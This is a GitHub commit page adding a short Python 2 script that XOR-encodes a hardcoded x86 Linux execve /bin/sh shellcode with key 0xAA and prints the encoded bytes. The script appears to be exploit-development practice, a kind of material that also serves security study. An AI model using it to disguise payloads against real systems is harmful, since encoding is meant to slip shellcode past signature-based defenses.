Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up
Appearance settings

Commit 46d2a61

Browse files
Add files via upload
1 parent f1801a4 commit 46d2a61

File tree

1 file changed

+26
-0
lines changed

1 file changed

+26
-0
lines changed

‎Shellcode/Xor-Encoder.py‎

Lines changed: 26 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,26 @@
1+
#!/usr/bin/python
2+
3+
# python code for xor encoder
4+
5+
shellcode = ("\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80") #place your shellcode here
6+
7+
encoded = ""
8+
encoded2 = ""
9+
10+
print "Encoded Shellcode ....."
11+
12+
for x in bytearray(shellcode):
13+
# xor encoding
14+
y = x^0xAA
15+
encoded += '\\x'
16+
encoded += '%02x' % y
17+
18+
encoded2 += '0x'
19+
encoded2 += '%02x,' %y
20+
21+
22+
print encoded
23+
24+
print encoded2
25+
26+
print 'Length: %d' % len(bytearray(shellcode))

0 commit comments

Comments
(0)

AltStyle によって変換されたページ (->オリジナル) /